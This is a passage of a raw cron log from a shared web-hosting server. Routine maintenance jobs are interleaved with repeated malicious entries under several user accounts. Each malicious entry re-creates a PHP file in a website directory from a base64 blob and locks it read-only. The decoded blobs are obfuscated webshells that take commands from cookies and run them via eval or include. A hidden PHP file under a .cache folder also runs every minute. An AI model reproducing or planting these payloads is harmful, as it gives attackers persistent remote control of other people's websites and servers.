EPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:25:01 medusa CROND[13236]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:25:01 medusa CROND[13234]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:25:01 medusa CROND[13238]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:25:01 medusa CROND[13240]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:25:01 medusa CROND[13243]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:26:01 medusa CROND[5069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:26:01 medusa CROND[5139]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:26:01 medusa CROND[5164]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:26:01 medusa CROND[5165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:26:01 medusa CROND[5169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:26:01 medusa CROND[5172]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:26:01 medusa CROND[5173]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:26:01 medusa CROND[5166]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:26:01 medusa CROND[5175]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:26:01 medusa CROND[5177]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:26:01 medusa CROND[5178]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:26:01 medusa CROND[5179]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:26:01 medusa CROND[5182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:26:01 medusa CROND[5184]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:27:01 medusa CROND[29200]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:27:01 medusa CROND[29198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:27:01 medusa CROND[29202]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:27:01 medusa CROND[29203]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:27:01 medusa CROND[29205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:27:01 medusa CROND[29204]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:27:01 medusa CROND[29206]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:27:01 medusa CROND[29207]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:27:01 medusa CROND[29208]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:27:01 medusa CROND[29209]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
